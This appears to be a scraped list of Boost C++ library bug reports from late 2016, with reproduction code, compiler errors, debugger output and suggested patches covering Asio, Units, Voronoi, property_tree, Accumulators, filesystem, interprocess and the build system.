diff -r -u4 a/boost_1_63_0/tools/build/src/tools/cygwin.jam b/boost_1_63_0/tools/build/src/tools/cygwin.jam

a	b
59	59	head = ;
60	60	}
61	61	tail = $(tail:R=$(head:D=)) ;
62	62
63		if $(head) = /
	63	if $(head) = "/" \|\| [ MATCH "^([a-zA-Z]:/)$" : $(head) ]
64	64	{
65	65	head = ;
66	66	}
67	67	else

This will change cygwin-to-windows-path behavior to accepts full windows path (but not UNC path unfortunately).

Another, I think better, approach is to introduce cygwin flavor and do cygwin specific things only for this flavor. But deeper knowledge is required for this (I think there is a reason for introducing mingw flavor but not cygwin, and it is necessary to track all dependency)

#12710: Asio with OpenSSL 1.1.0 compiles but does not work

vygis.d@… — Thu, 22 Dec 2016 22:36:02 GMT

Setup:

Debian Boost 1.62.0 OpenSSL 1.1.0c-2

Problem: Previously written program that works perfectly well with the same Boost version and the older version of OpenSSL compiles just fine but does not work.

The program yields "stream truncated" error.

Desired outcome: Boost Asio works equally well with the newer OpenSSL.

#12709: Boost.Asio uses Boost.Coroutine v1, yet Boost.Coroutine v2 references it as a usage example

Thu, 22 Dec 2016 17:30:57 GMT

In http://www.boost.org/doc/libs/1_62_0/libs/coroutine2/doc/html/coroutine2/motivation.html there is a code sample using boost::asio::yield to demonstrate the benefits of using coroutines.

This code sample seems to be copy-pasted from Boost.Coroutine v1 http://www.boost.org/doc/libs/1_62_0/libs/coroutine/doc/html/coroutine/motivation.html, and it's quite misleading since from what I can tell (documentation and include chains in the code, boost::asio::yield is built on top of Coroutine v1 and not Coroutine2.

So if I try to build the code sample from Coroutine2 documentation, I get a warning saying that Boost.Coroutine is deprecated and I should be using the v2, which I thought I was because that's where the sample came from.

Ideally it would be good if Boost.ASIO was ported to Coroutine v2, but in the meantime it might be better to remove the ASIO code sample in Coroutine v2 documentation.

#12708: Cannot use Boost Units cmath.hpp with custom systems

Thu, 22 Dec 2016 08:11:53 GMT

When creating a new, custom unit sustem in Boost Units using boost::units::make_system, there's an issue when including cmath.hpp:

In file included from boost/boost/units/cmath.hpp:29:
In file included from boost/boost/units/systems/si/plane_angle.hpp:14:
In file included from boost/boost/units/systems/si/base.hpp:20:
In file included from boost/boost/units/base_units/si/meter.hpp:17:
/boost/boost/units/base_unit.hpp:108:9: error: functions that differ only in their return type cannot be overloaded
        check_double_register(const units::base_unit_ordinal<N>&)
        ^
Common/Units.h:26:15: note: in instantiation of template class 'boost::units::base_unit<VA::Units::SquareBaseUnit, boost::units::list<boost::units::dim<boost::units::length_base_dimension,
      boost::units::static_rational<1, 1> >, boost::units::dimensionless_type>, -9, void>' requested here
            : boost::units::base_unit<SquareBaseUnit, boost::units::length_dimension, -9>
              ^
boost/boost/units/base_unit.hpp:108:9: note: previous declaration is here
        check_double_register(const units::base_unit_ordinal<N>&)
        ^
boost/boost/units/base_unit.hpp:114:9: error: redefinition of 'boost_units_unit_is_registered'

As you can see, cmath includes the full si system and you cannot make your own after that.

#12707: Missing edges in Voronoi Diagram

alessandro@… — Wed, 21 Dec 2016 18:42:02 GMT

A couple finite edges are missing from the Voronoi diagram built for the following segments:

LINESTRING(42127548 699996,42127548 10135750)
LINESTRING(42127548 10135750,50487352 10135750)
LINESTRING(50487352 10135750,50487352 699995)
LINESTRING(50487352 699995,51187348 0)
LINESTRING(51187348 0,64325952 0)
LINESTRING(64325952 0,65025956 699996)
LINESTRING(65025956 699996,65025956 10135750)
LINESTRING(65025956 10135750,72633752 10135750)
LINESTRING(72633752 10135750,72633752 699995)
LINESTRING(72633752 699995,73333744 0)
LINESTRING(73333744 0,86471456 0)
LINESTRING(86471456 0,87171440 699996)
LINESTRING(87171440 699996,87171440 10121802)
LINESTRING(87171440 10121802,92690455 10323692)
LINESTRING(92690455 10323692,93364864 11023201)
LINESTRING(93364864 11023201,93364864 15074997)
LINESTRING(93364864 15074997,92664848 15074997)
LINESTRING(92664848 15074997,92664848 11023201)
LINESTRING(92664848 11023201,86471456 10796700)
LINESTRING(86471456 10796700,86471456 699996)
LINESTRING(86471456 699996,73333744 699996)
LINESTRING(73333744 699996,73333744 10835701)
LINESTRING(73333744 10835701,64325952 10835701)
LINESTRING(64325952 10835701,64325952 699996)
LINESTRING(64325952 699996,51187348 699996)
LINESTRING(51187348 699996,51187348 10835701)
LINESTRING(51187348 10835701,41427552 10835701)
LINESTRING(41427552 10835701,41427552 699996)
LINESTRING(41427552 699996,28664848 699996)
LINESTRING(28664848 699996,28664848 10835701)
LINESTRING(28664848 10835701,19280052 10835701)
LINESTRING(19280052 10835701,19280052 699996)
LINESTRING(19280052 699996,5767387 699996)
LINESTRING(5767387 699996,5767387 10796699)
LINESTRING(5767387 10796699,699996 11023200)
LINESTRING(699996 11023200,699996 15074997)
LINESTRING(699996 15074997,0 15074997)
LINESTRING(0 15074997,7 11023201)
LINESTRING(7 11023201,668738 10323952)
LINESTRING(668738 10323952,5067390 10127281)
LINESTRING(5067390 10127281,5067390 699996)
LINESTRING(5067390 699996,5767387 0)
LINESTRING(5767387 0,19285884 5831)
LINESTRING(19285884 5831,19980050 699996)
LINESTRING(19980050 699996,19980050 10135750)
LINESTRING(19980050 10135750,27964852 10135750)
LINESTRING(27964852 10135750,27964852 699996)
LINESTRING(27964852 699996,28664848 0)
LINESTRING(28664848 0,41427551 0)
LINESTRING(41427551 0,42127548 699996)

I'm attaching a SVG showing the Voronoi diagram. (The input segments are the contours of the grey polygon; the black edges are the finite edges of the diagram.)

It might be related to #12067, but a finite edge is missing here instead of an infinite one.

#12706: missing including to restriction namespace boost placeholders conflicting with C++ std::placeholders

betachen@… — Wed, 21 Dec 2016 08:20:57 GMT

hpp file: include/boost/property_tree/detail/json_parser/parser.hpp

effect boost version: 1.59 ~ 1.62

solutions: add "#include <boost/bind/placeholders.hpp>" in parser.hpp

here is compiling errors for this case: [ 62%] Building CXX object src/lib/explorer/CMakeFiles/explorer_static.dir/command_extension.cpp.o cd /home/jiang/source/mvs-private/build/src/lib/explorer && /usr/bin/c++ -DBCX_STATIC=1 -DMVS_DEBUG=1 -I/usr/local/include -I/home/jiang/source/mvs-private/contrib -I/home/jiang/source/mvs-private/include -std=c++11 -static-libstdc++ -fstrict-aliasing -fvisibility=hidden -Wall -Werror -Wextra -Wstrict-aliasing=2 -Wno-unused-parameter -Wno-unused-variable -Wno-type-limits -pthread -fno-enforce-eh-specs -fnothrow-opt -Wno-reorder -Wno-ignored-qualifiers -Wno-unused-function -Wno-unused-but-set-variable -Wno-sign-compare -Wno-unused-but-set-parameter -g -o CMakeFiles/explorer_static.dir/command_extension.cpp.o -c /home/jiang/source/mvs-private/src/lib/explorer/command_extension.cpp In file included from /usr/local/include/boost/property_tree/detail/json_parser/read.hpp:13:0,

from /usr/local/include/boost/property_tree/json_parser.hpp:16, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:5:

/usr/local/include/boost/property_tree/detail/json_parser/parser.hpp: In member function ‘void boost::property_tree::json_parser::detail::string_callback_adapter<Callbacks, Encoding, Iterator, std::input_iterator_tag>::process_codepoint(Sentinel, EncodingErrorFn)’: /usr/local/include/boost/property_tree/detail/json_parser/parser.hpp:211:52: error: ‘_1’ was not declared in this scope

boost::ref(callbacks), _1),

/usr/local/include/boost/property_tree/detail/json_parser/parser.hpp:211:52: note: suggested alternatives: In file included from /usr/include/c++/5/memory:79:0,

from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/monitor.hpp:25, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/assert.hpp:38, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/impl/utility/data.ipp:26, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/data.hpp:155, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/message/network_address.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/constants.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin.hpp:19, from /home/jiang/source/mvs-private/include/bitcoin/explorer/dispatch.hpp:24, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:3:

/usr/include/c++/5/functional:782:34: note: ‘std::placeholders::_1’

extern const _Placeholder<1> _1;

In file included from /usr/local/include/boost/mpl/aux_/include_preprocessed.hpp:37:0,

from /usr/local/include/boost/mpl/placeholders.hpp:43, from /usr/local/include/boost/mpl/apply.hpp:24, from /usr/local/include/boost/mpl/aux_/iter_apply.hpp:17, from /usr/local/include/boost/mpl/aux_/find_if_pred.hpp:14, from /usr/local/include/boost/mpl/find_if.hpp:17, from /usr/local/include/boost/multiprecision/number.hpp:13, from /usr/local/include/boost/multiprecision/cpp_int.hpp:12, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/chain/header.hpp:23, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/chain/block.hpp:28, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/message/block_message.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/messages.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin.hpp:23, from /home/jiang/source/mvs-private/include/bitcoin/explorer/dispatch.hpp:24, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:3:

/usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’

typedef arg<1> _1;

/usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’ /usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’ In file included from /usr/local/include/boost/property_tree/detail/json_parser/read.hpp:13:0,

from /usr/local/include/boost/property_tree/json_parser.hpp:16, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:5:

/usr/local/include/boost/property_tree/detail/json_parser/parser.hpp: In member function ‘void boost::property_tree::json_parser::detail::parser<Callbacks, Encoding, Iterator, Sentinel>::feed(unsigned int)’: /usr/local/include/boost/property_tree/detail/json_parser/parser.hpp:514:72: error: ‘_1’ was not declared in this scope

boost::ref(callbacks), _1));

/usr/local/include/boost/property_tree/detail/json_parser/parser.hpp:514:72: note: suggested alternatives: In file included from /usr/include/c++/5/memory:79:0,

from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/monitor.hpp:25, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/assert.hpp:38, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/impl/utility/data.ipp:26, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/utility/data.hpp:155, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/message/network_address.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/constants.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin.hpp:19, from /home/jiang/source/mvs-private/include/bitcoin/explorer/dispatch.hpp:24, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:3:

/usr/include/c++/5/functional:782:34: note: ‘std::placeholders::_1’

extern const _Placeholder<1> _1;

In file included from /usr/local/include/boost/mpl/aux_/include_preprocessed.hpp:37:0,

from /usr/local/include/boost/mpl/placeholders.hpp:43, from /usr/local/include/boost/mpl/apply.hpp:24, from /usr/local/include/boost/mpl/aux_/iter_apply.hpp:17, from /usr/local/include/boost/mpl/aux_/find_if_pred.hpp:14, from /usr/local/include/boost/mpl/find_if.hpp:17, from /usr/local/include/boost/multiprecision/number.hpp:13, from /usr/local/include/boost/multiprecision/cpp_int.hpp:12, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/chain/header.hpp:23, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/chain/block.hpp:28, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/message/block_message.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin/messages.hpp:27, from /home/jiang/source/mvs-private/include/bitcoin/bitcoin.hpp:23, from /home/jiang/source/mvs-private/include/bitcoin/explorer/dispatch.hpp:24, from /home/jiang/source/mvs-private/src/lib/explorer/command_assistant.cpp:3:

/usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’

typedef arg<1> _1;

/usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’ /usr/local/include/boost/mpl/aux_/preprocessed/gcc/placeholders.hpp:29:16: note: ‘mpl_::_1’ src/lib/explorer/CMakeFiles/explorer_static.dir/build.make:89: recipe for target 'src/lib/explorer/CMakeFiles/explorer_static.dir/command_assistant.cpp.o' failed

#12704: scope_exit: MSVC 14.0 Update 3 warning issued

thomas.forell@… — Tue, 20 Dec 2016 13:15:17 GMT

Hi,

BOOST_SCOPE_EXIT emits
warning C4459: declaration of 'boost_scope_exit_aux_args' hides global declaration
using compiler setting /W4 for Visual Studio 2015 Update 3 (VC 14)

Example code:

#include <boost/scope_exit.hpp>
int main()
{
    int test = 0;
    BOOST_SCOPE_EXIT(&test) { test = 5;  } BOOST_SCOPE_EXIT_END;
    return 0;
}

#12703: BOOST_MPL_ASSERT_MSG cannot be used in constexpr functions

socgerlia@… — Tue, 20 Dec 2016 02:51:25 GMT

The current implementation of BOOST_MPL_ASSERT_MSG use a static const std::size_t varieble that cannot be used in constexpr functions. I think this can be replaced by an enum declare. why use static const varieble?

#12702: boost_1_62_0 issue

henriaghaei@… — Mon, 19 Dec 2016 21:54:05 GMT

I have the following error.

C:\Users\carma>cd c:/

c:\>boost_1_62_0 'boost_1_62_0' is not recognized as an internal or external command, operable program or batch file.

c:\>cd boost_1_62_0

c:\boost_1_62_0>bootstrap.bat Building Boost.Build engine 'cl' is not recognized as an internal or external command, operable program or batch file.

Failed to build Boost.Build engine. Please consult bootstrap.log for further diagnostics.

You can try to obtain a prebuilt binary from

http://sf.net/project/showfiles.php?group_id=7586&package_id=72941

Also, you can file an issue at http://svn.boost.org Please attach bootstrap.log in that case.

c:\boost_1_62_0>

#12701: Numerical error cause invalid input to dijkstra algorithm in min cost max flow code

Mon, 19 Dec 2016 16:50:55 GMT

Line 46 of successive_shortest_path_nonnegative_weights.hpp computes a new weight for Dijkstra algorithm. The weigh is guaranteed to be non-negative in theory. In practice numerical rounding errors may make it a small negative number causing the failure of Dijkstra algorithm.

Do something like this for floating point types: return std::max(value_type(0), get(distance_, source(v, g_)) - get(distance_, target(v, g_)) + get(weight_, v));

#12700: Returned type mess with find_flow_cost

Mon, 19 Dec 2016 16:41:56 GMT

There are several overloads for find_flow_cost in find_flow_cost.hpp. However they differ by the return type. For example find_flow_cost(const Graph &g) returns edge capacity type while others return weight type. As a result the true flow cost can be lost due to type conversions, e.g. casting double (weight type) to int (capacity type).

It should be determined which type to return (weight or capacity type). I think there should be a process determining which type is the best. Something like decltype(weight_t(0)*capacity_t(0))

#12699: posix_time\time_formatters removes trailing 0 fractional seconds

Fri, 16 Dec 2016 22:53:41 GMT

When calling boost::posix_time::to_iso_extended_string(), the returned format will differ depending on the value of the fractional seconds. This cannot be configured. In time_formatters.hpp, function 'to_simple_string_type' checks if the value of the fractional seconds is 0 (zero). If it is, it will not print the corresponding fractional seconds digits.

I consider this a bug because if one is to display multiple ptimes in this format they could have differing widths which would not be visually appealing.

I propose that this is changed to be either:

1) User controlled. The user can set whether or not to print the characters.

2) It should always print the fractional seconds digits.

I believe that option 1) is the correct solution, though at the very least I believe option 2) to be more correct than the current implementation.

#12690: Boost Asio race condition

Wed, 14 Dec 2016 14:39:48 GMT

The following test case issues an warning when executed with the thread sanitizer. The problem occurs when there is a pending job and the associated work is canceled.

BOOST_AUTO_TEST_CASE(ioServiceShallWaitForPendingJobs)
{
  auto test = []()
  {
    boost::asio::io_service service;
    std::unique_ptr<boost::asio::io_service::work> work
      (new boost::asio::io_service::work(service));
    std::thread t(
      [&service]()
      {
        service.run();
      }
    );
    std::atomic_bool called{false};
    service.post(
        [&called]()
        {
          std::this_thread::sleep_for (std::chrono::milliseconds(50));
          called = true;
        }
    );
    std::this_thread::sleep_for (std::chrono::milliseconds(1));
    work.reset(); // -> race
    t.join();
    BOOST_REQUIRE(called);
  };
  for( size_t i = 0 ; i < 100000; ++i)
  {
    BOOST_TEST_MESSAGE(i);
    test();
  }
}

The fix is in asio/detail/posix_event.hpp:55

  // Signal the event and unlock the mutex.
  template <typename Lock>
  void signal_and_unlock(Lock& lock)
  {
    BOOST_ASIO_ASSERT(lock.locked());
    signalled_ = true;
//    lock.unlock();
    ::pthread_cond_signal(&cond_); // Ignore EINVAL.
    lock.unlock(); // first signal and then unlock as the name implies
  }

Please find the output of the Clang as an attachment

#12688: Boost..Accumulators test/median.cpp testing method is flawed

Wed, 14 Dec 2016 12:25:18 GMT

I am going to stick with Stats terminology, because I get confused. I am going to use the word sample to mean a collection of data points or draws or observations, not a single one.

In the test, you generate a sample of 100,000 observations from N(1,1), and check if the medians computed by the implementations are close enough to the true population median of 1.

That is flawed: The algorithms are for calculating the median of the set of numbers you have. Therefore, the medians they produce should be compared to the actual median of the sample you just generated. The median of that sample can be obtained by storing the draws in a vector and getting the exact median from that.

This is not hard to do. I am not, however, submitting a pull request to do that because I am not convinced this approach is the right way to test the algorithms.

In the case of P², the original paper contains a worked-out example by the authors using 20 observations. They show exactly what the algorithm should produce at each step. Your implementation does not match those steps.

The following short program demonstrates this:

#include <algorithm>
#include <iostream>
#include <string>
#include <utility>
#include <vector>
#include <boost/accumulators/accumulators.hpp>
#include <boost/accumulators/statistics/stats.hpp>
#include <boost/accumulators/statistics/median.hpp>
namespace bacc = boost::accumulators;
int main(void)
{
    bacc::accumulator_set<double,
        bacc::stats<bacc::tag::median(bacc::with_p_square_quantile)> > acc;
    // See http://www.cse.wustl.edu/~jain/papers/psqr.htm
    // First five observations
    acc(0.02);
    acc(0.5);
    acc(0.74);
    acc(3.39);
    acc(0.83);
    const std::vector<std::pair<double, double> > jain_chlamtac {
        { 22.37, 0.74 },
        { 10.15, 0.74 },
        { 15.43, 2.18 },
        { 38.62, 4.75 },
        { 15.92, 4.75 },
        { 34.60, 9.28 },
        { 10.28, 9.28 },
        {  1.47, 9.28 },
        {  0.40, 9.28 },
        {  0.05, 6.30 },
        { 11.39, 6.30 },
        {  0.27, 6.30 },
        {  0.42, 6.30 },
        {  0.09, 4.44 },
        { 11.37, 4.44 },
    };
    for (auto p: jain_chlamtac)
    {
        acc(p.first);
        std::cout << "calculated= " << bacc::median(acc)
            << "\texpected= " << p.second << '\n';
    }
    return 0;
}

This produces

calculated= 0.74        expected= 0.74
calculated= 0.74        expected= 0.74
calculated= 2.06167     expected= 2.18
calculated= 4.55176     expected= 4.75
calculated= 4.55176     expected= 4.75
calculated= 9.15196     expected= 9.28
calculated= 9.15196     expected= 9.28
calculated= 9.15196     expected= 9.28
calculated= 9.15196     expected= 9.28
calculated= 6.17976     expected= 6.3
calculated= 6.17976     expected= 6.3
calculated= 6.17976     expected= 6.3
calculated= 6.17976     expected= 6.3
calculated= 4.24624     expected= 4.44
calculated= 4.24624     expected= 4.44

More a more detailed exposition, see my blog post https://www.nu42.com/2016/12/cpp-boost-median-test.html

This is the first time I am looking at Boost.Accumulators and I haven't figured out everything yet, so I do not have a fix (and I can't promise I am going to have a fix soon), but I thought I would get the ball rolling. Maybe the issue will be more transparent to you.

To summarize:

The implementations should be tested against cases where we know what they are supposed to do.

It looks like there is a problem in the implementation of the P² algorithm.

HTH,

-- Sinan

#12685: boost::iostream library does not correctly mark exported symbols as visible on macOS as BOOST_IOSTREAMS_DECL is not defined

vishalshetye@… — Tue, 13 Dec 2016 15:31:36 GMT

if iostream library is compiled with gcc visibility support on macOS the symbols are not correctly exported.

The symbols to be exported are marked with BOOST_IOSTREAMS_DECL. However, BOOST_IOSTREAMS_DECL is not defined for non Windows platforms.

#12684: Application crashing when collector maximum size is reached

ketan0712@… — Tue, 13 Dec 2016 10:26:10 GMT

0 down vote favorite I am using BOOST for my Logger API. I have a scenario when the maximum size of collector is reached it should stop logging. but currently the application is crashing.

Example: maximum size of collector = 10MB and Maximum file size =4MB so it generates two files with size 4MB each and 1 with 2MB and the application should stop but its crashing here.

Code is given below: sink = boost::make_shared<file_sink>(keywords::file_name = file_name,

keywords::rotation_size = m_maxLogFileSize, keywords::open_mode = std::ios_base::out | std::ios_base::app, keywords::auto_flush = true );

try{

sink->locked_backend()->set_file_collector(sinks::file::make_collector(keywords::target = m_dirLocation, keywords::max_size = 1 * 1024)); m_maxLogFileSize)); sink->locked_backend()->set_file_collector(sinks::file::make_collector(keywords::target = m_dirLocation, keywords::max_size = 10 * 1024 *1024, keywords::min_free_space = 1024));

} catch (exception e) {

std::cout << "Maximum size reached in collector" << std::endl;

}

sink->set_formatter(

expr::stream << expr::format_date_time< boost::posix_time::ptime >("TimeStamp", m_timeFormat) << m_logSeparator << "[" << expr::attr< boost::log::trivial::severity_level >("Severity") << "]" << m_logSeparator << " " << expr::attr< boost::thread::id >("ThreadID") << m_logSeparator << " " << expr::attr<std::string>("FileName") << "" << ":" << expr::attr<int>("Line") << m_logSeparator << " " << expr::attr<std::string>("Function") << m_logSeparator << " " << expr::xml_decor[expr::stream << expr::smessage]

);

sink->locked_backend()->scan_for_files(); sink->locked_backend()->auto_flush(true);

Add the sink to the core logging::core::get()->add_sink(sink);

#12683: Using std::string for options_description

Rado — Tue, 13 Dec 2016 08:07:44 GMT

Hello out there,

I see no any life in the GitHub of program_options library, hence my request here. I also have posted in StackOverflow: https://stackoverflow.com/questions/41085325/using-gettext-like-translation-with-boost-programoptions

Basically, what is the reason not to include a std::string for the description parameter? If none, how I can help?

Best regards, Rado.

#12679: Merging heaps causes them to "forget" pending lazy updates.

shirpeled+boost@… — Mon, 12 Dec 2016 07:11:49 GMT

In my opinion, a reasonable behavior for the code below would be to print out: 99, 2, 1, In reality, though, the output is: 2, 99, 1,

This means that the lazy_update() is somehow forgotten in the process of merging the two heaps.

  boost::heap::fibonacci_heap<float> q1, q2;
  std::vector<boost::heap::fibonacci_heap<float>::handle_type> handles;
  handles.push_back(q1.push(0.f));
  handles.push_back(q1.push(1.f));
  handles.push_back(q2.push(2.f));
  q1.update_lazy(handles[0], 99.f);
  q1.merge(q2);
  while (!q1.empty()) {
    std::cout << q1.top() << ", ";
    q1.pop();
  }

#12665: boost::filesystem::path::replace_extension(const path& new_extension) produces inintuitive path on special directory

Fri, 09 Dec 2016 00:21:00 GMT

Hi, I have read the specification of boost::filesystem::path::replace_extension(const path& new_extension). It is very helpful in most of common use but the method may be ignore replacement when path represents the following cases:

dot (.)
dot-dot (..)
root-name (C:, myserver,
myserver)

The version available in boost 1.62.0 provide the following behaviour

Replace extension on root path: (arguable)
------------------------------------------
replace_extension("/","txt") = "/.txt"
replace_extension("C:\","txt") = "C:\.txt"
Replace extension on special file-name
--------------------------------------
replace_extension(".","txt") = "..txt"
replace_extension("..","txt") = "...txt"
replace_extension("/foo/.","txt") = "/foo/..txt"
replace_extension("/foo/..","txt") = "/foo/...txt"
Replace extension on root-name
------------------------------
replace_extension("C:","txt") = "C:.txt"
replace_extension("\\myserver","txt") = "\\myserver.txt"

Regards, Guillaume

#12663: geometry::equals fails when points differ by small value

anonymous — Thu, 08 Dec 2016 20:21:07 GMT

It seems the geometry::equals function is very strict when dealing w/ floating point precision. I have 2 polygons that are the same except for one point (15.0, 10.0) vs (14.9999999999, 10.0), but geometry::equals returns false. I don't know if this is a bug or the expected behavior. What is the tolerance and is there a way to specify it?

bg_polygon polygon1; boost::geometry::read_wkt("POLYGON((10.0 10.0, 10.0 20.0, 15.0 20.0, 14.9999999999 10.0, 10.0 10.0))", polygon1);

bg_polygon polygon2; boost::geometry::read_wkt("POLYGON((10.0 10.0, 10.0 20.0, 15.0 20.0, 15.0 10.0, 10.0 10.0))", polygon2);

boost::geometry::equals(polygon1, polygon2); --> returns false

#12659: Deadlocked with boost::interprocess::managed_mapped_file find

soumyadutta13@… — Thu, 08 Dec 2016 10:16:11 GMT

Scenario : I have a existing file which at first is opened & loaded using

m_file.reset(new boost::interprocess::managed_mapped_file(boost::interprocess::open_or_create, file_name.c_str(), m_size));

then I am using find member function

Type *vect = m_file->find<Type>(key).first;

Here my code halts(deadlock).

boost::interprocess::ipcdetail::posix_recursive_mutex::lock (this=0x7ffff572d070)
    at /home/dev/build/third_party/64-rhel5/boost_1_59_0/include/boost/interprocess/sync/posix/recursive_mutex.hpp:90
90         if (pthread_mutex_lock(&m_mut) != 0)
(gdb) p m_mut
$1 = {__data = {__lock = 2, __count = 1, __owner = **16792**, __nusers = 1, __kind = 129, __spins = 0, __list = {__prev = 0x0, __next = 0x0}},
  __size = "\002\000\000\000\001\000\000\000\230A\000\000\001\000\000\000\201", '\000' <repeats 22 times>, __align = 4294967298}
(gdb) info threads all
  4 Thread 0x7ffff6af0700 (LWP 23305)  0x00000038dceac6aa in times () from /lib64/libc.so.6
  3 Thread 0x7ffff75dd700 (LWP 23304)  0x00000038dd20b68c in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0
  2 Thread 0x7ffff7fde700 (LWP 23303)  0x00000038dd20eca3 in recvfrom () from /lib64/libpthread.so.0
* 1 Thread 0x7ffff7fe27e0 (LWP 23300)  boost::interprocess::ipcdetail::posix_recursive_mutex::lock (this=0x7ffff572d070)
    at /home/dev/build/third_party/64-rhel5/boost_1_59_0/include/boost/interprocess/sync/posix/recursive_mutex.hpp:90

If you see here onwer is 16792, but I don't see any such thread.

Some more info.

 p *mp_header
.....
static PayloadPerAllocation = <optimized out>, m_header = {<boost::interprocess::interprocess_recursive_mutex> = {mutex = {m_mut = {
          __data = {__lock = 2, __count = 1, __owner = 16792, __nusers = 1, __kind = 129, __spins = 0, __list = {__prev = 0x0, __next = 0x0}},
          __size = "\002\000\000\000\001\000\000\000\230A\000\000\001\000\000\000\201", '\000' <repeats 22 times>, __align = 4294967298}}},
    m_named_index = .....

previous mutex informations are still stored.

#12658: Lack of check for matching end tag in read_xml.

jakjas — Wed, 07 Dec 2016 21:03:53 GMT

When using boost::property_tree::read_xml and parsing for example:

<Element>Item</Whatever>

function will not throw an exception and input will be parsed into xml which look like this:

<Element>Item</Element>

There is no checking if end tag match start tag. End Tag like this: </> is enough no matter what start tag you have.

Is it a bug or maybe it is intentional? This behaviour is present at least from version 1.53 but probably from the begining of property_tree component.

example cpp file attached.

#12656: `vf2_subgraph_iso` fails to find matchings in mutually connected vertices

araijn@… — Wed, 07 Dec 2016 02:11:22 GMT

The attached example tries to find graph1 in graph2 defined as follows:
graph1

(0) ---> (1)

graph2

          +--------+
          V        |
(0) ---> (1) ---> (2)

I expect that vf2_subgraph_iso finds matchings (0) ---> (1), (1) ---> (2), and (2) ---> (1), but it finds (0) ---> (1) only.

#12648: Missing includes in boost/icl/left_open_interval.hpp

Mon, 05 Dec 2016 15:02:38 GMT

This example does not compile

#include <boost/icl/left_open_interval.hpp>
int main(int argc, char** argv) {
  return 0;
}

compilation result:

In file included from /usr/include/boost/config.hpp:61:0,
                 from /usr/include/boost/concept/assert.hpp:7,
                 from /usr/include/boost/icl/left_open_interval.hpp:12,
                 from main.cpp:1:
/usr/include/boost/icl/type_traits/rep_type_of.hpp:36:9: error: ‘is_same’ was not declared in this scope
         BOOST_STATIC_CONSTANT(bool,

#12647: Support for arm instruction-set for arm64-v8a

tungchingkai@… — Sun, 04 Dec 2016 08:59:53 GMT

Please add support for boost build for instruction-set = arm64-v8a when building boost for arm architecture.

#12646: Compilation error when using a property type other than int with property_merge_45

Sun, 04 Dec 2016 05:12:28 GMT

The following usage of property merge leads to compilation errors:

property_merge_45<int,string> pm;

The issue is simple to correct. I was able to get the following to compile and function as expected by making a one line edit to polygon/detail/property_merge_45.hpp. I modified line 34 in class CountMerge to be:

typename std::vector<std::pair<property_type, int> >::iterator itr = lower_bound(counts.begin(), counts.end(), std::make_pair(index, int(0)));

instead of:

std::vector<std::pair<int, int> >::iterator itr = lower_bound(counts.begin(), counts.end(), std::make_pair(index, int(0)));

which make it consistent with the declaration in class CountMerge:

std::vector<std::pair<property_type, int> > counts;

-Charles

#12644: Windows store - vcvarsall.bat is invoked with wrong arguments

bjorn.aili@… — Fri, 02 Dec 2016 22:50:51 GMT

When building a store app (ie, windows-api=store in boost), the vcvarsall.bat script (part of Visual Studio) is supposed to be invoked, for example, as

<VSPath>\VC\vcvarsall.bat x86_arm store

Boost's build system, however, invokes it without the 'store' argument, resulting in a flawed compiler environment.

This typically doesn't make a difference when building for desktop, but when building store apps for phone (arm), it can result in missing dll:s when trying to run the app consuming boost. Specifically, various boost dll:s will try to link with kernel32.lib, which does not exist on phone.

The origin of the error appears to be in boost_1_62_0/tools/build/src/tools/msvc.jam in the invocation of the maybe-rewrite-setup rule. Here, the setup-options parameter should probably contain 'store', but the <windows-api> feature is never checked to add it.

The end result is that, during boost compilation, the library include paths end up wrong and the boost binaries will link with desktop libraries instead of store libraries (eg, VCRUNTIME140D.dll instead of VCRUNTIME140D_APP.dll).

#12643: Compiler internal error in VS2013 Release mode

grigorryev@… — Fri, 02 Dec 2016 14:32:08 GMT

The simplest example is following:

#include "boost/lockfree/stack.hpp"
int _tmain(int argc, _TCHAR* argv[])
{
    boost::lockfree::stack<int>( 128 );
    return 0;
}

Compilation in Release configuration in the Visual Studio 2013 (version 12.0.40629.00 Update 5) fails with the following report:

1>BoostTest.cpp(5): fatal error C1001: An internal error has occurred in the compiler.
1>  (compiler file 'msc1.cpp', line 1325)
1>   To work around this problem, try simplifying or changing the program near the locations listed above.
1>  Please choose the Technical Support command on the Visual C++
1>   Help menu, or open the Technical Support help file for more information
1>          BoostTest.cpp(5) : see reference to class template instantiation 'boost::lockfree::stack<int,>' being compiled
